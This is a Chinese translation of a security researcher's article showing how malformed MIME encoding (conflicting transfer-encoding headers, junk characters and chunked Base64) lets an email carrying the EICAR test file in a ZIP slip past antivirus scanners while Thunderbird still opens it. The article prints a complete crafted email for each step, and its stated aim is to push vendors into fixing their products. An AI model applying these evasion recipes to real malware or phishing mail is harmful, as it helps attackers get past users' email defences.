原文:https://noxxi.de/research/mime-5-easy-steps-to-bypass-av.html
引言
传统上,邮件内容仅能使用ASCII字符,并且每行字符数量也有限制,即1000个。MIME标准定义了一种使邮件结构化(多个部分,包括附件)的方法,并且允许使用非ASCII数据。不幸的是,由于该标准太复杂,同时也太过灵活,使得某些定义可能会相互冲突,最要命的是,它也没有定义真正意义上的错误处理方法。
其结果是,面对某些打擦边球的有效MIME或故意使其无效的MIME,对于不同的实现来说,其解释也不尽相同。这也包括各种分析系统给出的解释,这些系统包括邮件过滤器、IDS/IPS、邮件网关或防病毒软件等,它们通常以不同方式来为最终用户系统解释那些精心构造的邮件。
在这篇文章中,我们将为读者演示怎样通过几个简单的步骤轻松修改带有恶意附件的邮件,从而绕过防病毒软件,使其无法从邮件中正确提取附件并检测恶意软件。经过这些修改后,人们仍然可以在Thunderbird中打开邮件,并顺利访问恶意载荷。
当然,这些技巧都不是什么新鲜玩意。早在2014年11月,我就公布过类似的问题;并且,在2015年7月,我还发表了几篇文章,展示了如何使用这些技巧来绕过DKIM签名的检查。从2008年起,也出现了许多这方面的文章。
但是,面对这些威胁,分析系统仍然没有丝毫长进,之所以出现这种情况,可能是供应商不知道这些问题,或者,它们已经知道了,但是毫无作为。因此,我决心再次发布这方面的技巧,希望至少唤醒部分供应商去修复自己的产品。在下文中,我将演示如何通过一些简单易懂的步骤来隐藏恶意附件,以绕过杀软的检测。
第1步:普通MIME
我们首先创建一个邮件,在附件的ZIP文件中放入EICAR测试病毒样本。该邮件由两个MIME部分组成,第一部分是一些文本,第二部分为附件,用Base64编码,以便将二进制附件转换为ASCII进行传输。截至今天(2018/07/05),Virustotal网站上只有36个(共59个)防病毒产品能够检测到恶意荷载;而其余部分可能无法或未配置为处理ZIP存档中的邮件文件或恶意软件。
From: [email protected]
To: [email protected]
Subject: plain
Content-type: multipart/mixed; boundary=foo
--foo
Content-type: text/plain
Virus attached
--foo
Content-type: application/zip; name=whatever.zip
Content-Transfer-Encoding: base64
UEsDBBQAAgAIABFKjkk8z1FoRgAAAEQAAAAJAAAAZWljYXIuY29tizD1VwxQdXAMiDaJCYiKMDXR
CIjTNHd21jSvVXH1dHYM0g0OcfRzcQxy0XX0C/EM8wwKDdYNcQ0O0XXz9HFVVPHQ9tACAFBLAQIU
AxQAAgAIABFKjkk8z1FoRgAAAEQAAAAJAAAAAAAAAAAAAAC2gQAAAABlaWNhci5jb21QSwUGAAAA
AAEAAQA3AAAAbQAAAAAA
--foo--
我们可以将邮件的内容保存到扩展名为.eml的文件中,之后就可以使用Thunderbird打开该文件来查看邮件内容了。这时,会看到一个名为whatever.zip的ZIP文件,其中含有EICAR测试病毒。
第2步:扰乱内容传输编码
首先,我们使用在2015年时就对AOL Mail有效的一个技巧:我们只需添加一个不同的Content-Transfer-Encoding标头,从而对内容的编码方式做出相互矛盾的陈述。大多数邮件客户端(包括Thunderbird和Outlook)将使用第一个标头而忽略第二个标头,因此,这里对内容的解释与原始邮件没有区别。尽管如此,即使这个问题已经公布3年之九了,采用它之后,Virustotal网站的检测率仍会从36降至28:
From: [email protected]
To: [email protected]
Subject: contradicting Content-Transfer-Encoding
Content-type: multipart/mixed; boundary=foo
--foo
Content-type: text/plain
Virus attached
--foo
Content-type: application/zip; name=whatever.zip
Content-Transfer-Encoding: base64
Content-Transfer-Encoding: quoted-printable
UEsDBBQAAgAIABFKjkk8z1FoRgAAAEQAAAAJAAAAZWljYXIuY29tizD1VwxQdXAMiDaJCYiKMDXR
CIjTNHd21jSvVXH1dHYM0g0OcfRzcQxy0XX0C/EM8wwKDdYNcQ0O0XXz9HFVVPHQ9tACAFBLAQIU
AxQAAgAIABFKjkk8z1FoRgAAAEQAAAAJAAAAAAAAAAAAAAC2gQAAAABlaWNhci5jb21QSwUGAAAA
AAEAAQA3AAAAbQAAAAAA
--foo--
第3步:添加垃圾字符
Base64编码使用的字母表是由64个明确定义的字符组成,末尾可能带有一些“=”。换行符用于将编码拆分为单独的行,应该被忽略。但是,处理对于其他(垃圾)字符的处理,还不是十分清楚。该标准建议(而非规定)忽略这些字符,尽管这些字符压根就不应该出现——这几乎是所有实现的实际处理方式。据RFC 2045的第6.8节:
编码的输出流必须以不超过76个字符的行表示。解码软件必须将没有出现在表1中的所有换行符或其他字符全部忽略。在base64数据中,除表1中的字符、换行符和其他空格符之外的字符可用于表示传输错误,在某些情况下,甚至可以表示警告消息甚至消息拒绝。
基于此,我们在Base64编码中插入了大量垃圾数据,而最终得到的邮件,现在只有17(原来为36)种防病毒产品能够检测出其中含有恶意软件:
From: [email protected]
To: [email protected]
Subject: junk characters inside Base64 combined with contradicting CTE
Content-type: multipart/mixed; boundary=foo
--foo
Content-type: text/plain
Virus attached
--foo
Content-type: application/zip; name=whatever.zip
Content-Transfer-Encoding: base64
Content-Transfer-Encoding: quoted-printable
U.E.s.D.B.B.Q.A.A.g.A.I.A.B.F.K.j.k.k.8.z.1.F.o.R.g.A.A.A.E.Q.
A.A.A.A.J.A.A.A.A.Z.W.l.j.Y.X.I.u.Y.2.9.t.i.z.D.1.V.w.x.Q.d.X.
A.M.i.D.a.J.C.Y.i.K.M.D.X.R.C.I.j.T.N.H.d.2.1.
j.S.v.V.X.H.1.d.H.Y.M.0.g.0.O.c.f
.R.z.c.Q.x.y.0.X.X.0.C./.E.M.8.w.w.K.D.d.Y.N.c.Q.0.O.0.X.X.z.
9.H.F.V.V.P.H.Q.9.t.A.C.A.F.B.L.A.Q.I.U.
A.x.Q.A.A.g.A.I.A.B.F.K.j.k.k.8.z.1.F.o.R.g.A.A.A.E.Q
.A.A.A.A.J.A.A.A.A.A.A.A.A.A.A.A.A.A.A.C.2.g.Q.A.A.A.A.B.l.a.
W.N.h.c.i.5.j.b.2.1.Q.S.w.U.G.A.A.A.A.
A.A.E.A.A.Q.A.3.A.A.A.A.b.Q.A.A.A.A.A.A.
--foo--
请注意,这并不意味着所有受影响的产品都无法处理Base64中的垃圾字符。更有可能的是,这些产品中的大部分在步骤2中就没能检测出原始的内容传输编码中的恶意软件,然后,又继续用启发式检测方法来处理Base64编码。由于这里添加了垃圾字符,致使启发式检测方法失效。
第4步:块式Base64编码
在这里,我们退一步,不再使用垃圾字符。相反,我们将使用其他方式来攻击Base64编码:一次正确的编码总是需要3个输入字符,并将它们编码为4个输出字符。即使最后只剩下一个或两个输入字符,输出也仍然是4个字符,并通过“==”(一个输入字符时)或“=”(两个输入字符时)进行填充。
这意味着“=”或“==”只应出现在编码数据的末尾。因此,一些解码器遇到第一个“=”就会停止解码,而另一些则继续前进。例如,Thunderbird总是读取4个字节的编码数据并对其进行解码,并且即使中间编码数据中出现了"=",也不会改变其行为。由此萌生了不要总是每次对3个字符进行编码,而是一次只编码2个字符的想法,这样的话,就会在编码数据中留下许多的“=”。Thunderbird将像处理原始邮件一样处理该邮件,但Virustotal网站上面能够检测出恶意软件的杀软数量将从36下降为1:
From: [email protected]
To: [email protected]
Subject: Base64 encoded in small chunks instead one piece + contradicting CTE
Content-type: multipart/mixed; boundary=foo
--foo
Content-type: text/plain
Virus attached
--foo
Content-type: application/zip; name=whatever.zip
Content-Transfer-Encoding: base64
Content-Transfer-Encoding: quoted-printable
UEs=AwQ=FAA=AgA=CAA=EUo=jkk=PM8=UWg=RgA=AAA=RAA=AAA=CQA=AAA=ZWk=Y2E=ci4=
Y28=bYs=MPU=Vww=UHU=cAw=iDY=iQk=iIo=MDU=0Qg=iNM=NHc=dtY=NK8=VXE=9XQ=dgw=
0g0=DnE=9HM=cQw=ctE=dfQ=C/E=DPM=DAo=DdY=DXE=DQ4=0XU=8/Q=cVU=VPE=0PY=0AI=
AFA=SwE=AhQ=AxQ=AAI=AAg=ABE=So4=STw=z1E=aEY=AAA=AEQ=AAA=AAk=AAA=AAA=AAA=
AAA=AAA=ALY=gQA=AAA=AGU=aWM=YXI=LmM=b20=UEs=BQY=AAA=AAA=AQA=AQA=NwA=AAA=
bQA=AAA=AAA=
--foo--
第5步:再次使用垃圾字符
为了进行混淆处理,我们将再次添加垃圾字符。这样一来,就能够成功地将检测率从36降为0:
From: [email protected]
To: [email protected]
Subject: chunked Base64 combined with junk characters and contradicting CTE
Content-type: multipart/mixed; boundary=foo
--foo
Content-type: text/plain
Virus attached
--foo
Content-type: application/zip; name=whatever.zip
Content-Transfer-Encoding: base64
Content-Transfer-Encoding: quoted-printable
UEs=.AwQ=.FAA=.AgA=.CAA=.EUo=.jkk=.PM8=.UWg=.RgA=.AAA=.RAA=.AAA=.CQA=.AAA=.
ZWk=.Y2E=.ci4=.Y28=.bYs=.MPU=.Vww=.UHU=.cAw=.iDY=.iQk=.iIo=.MDU=.0Qg=.iNM=.
NHc=.dtY=.NK8=.VXE=.9XQ=.dgw=.0g0=.DnE=.9HM=.cQw=.ctE=.dfQ=.C/E=.DPM=.DAo=.
DdY=.DXE=.DQ4=.0XU=.8/Q=.cVU=.VPE=.0PY=.0AI=.AFA=.SwE=.AhQ=.AxQ=.AAI=.AAg=.
ABE=.So4=.STw=.z1E=.aEY=.AAA=.AEQ=.AAA=.AAk=.AAA=.AAA=.AAA=.AAA=.AAA=.ALY=.
gQA=.AAA=.AGU=.aWM=.YXI=.LmM=.b20=.UEs=.BQY=.AAA=.AAA=.AQA=.AQA=.NwA=.AAA=.
bQA=.AAA=.AAA=.
--foo--
结束语
如果我们只要通过在恶意软件的传输上面做手脚,就能实现广为人知的恶意软件的免杀的话,那为什么要在恶意软件本身上费劲呢?通过利用MIME标准的不同实现对异常或无效数据产生的不同解释,就能够让分析系统对数据的真实含义视而不见。
请注意,这篇文章介绍的免杀方法,只是各种可行手段中的极小一部分。除此之外,我还发现许多的绕过方法,有的方法是针对内容分析的,有的是令杀软无法从附件中正确提取文件名的。当然,利用MIME的情形与在利用HTTP中描述的情况差不多。
此外,这些方法不仅限于干扰恶意软件的分析工作。如果将这些方法应用于向用户显示的文本内容上面,它们还可用于干扰网络钓鱼和垃圾邮件的检测。例如,它们可用于让分析软件看到的是乱码,或使其分析错误的MIME部分,但将邮件显示给最终用户时,则显示正常的内容。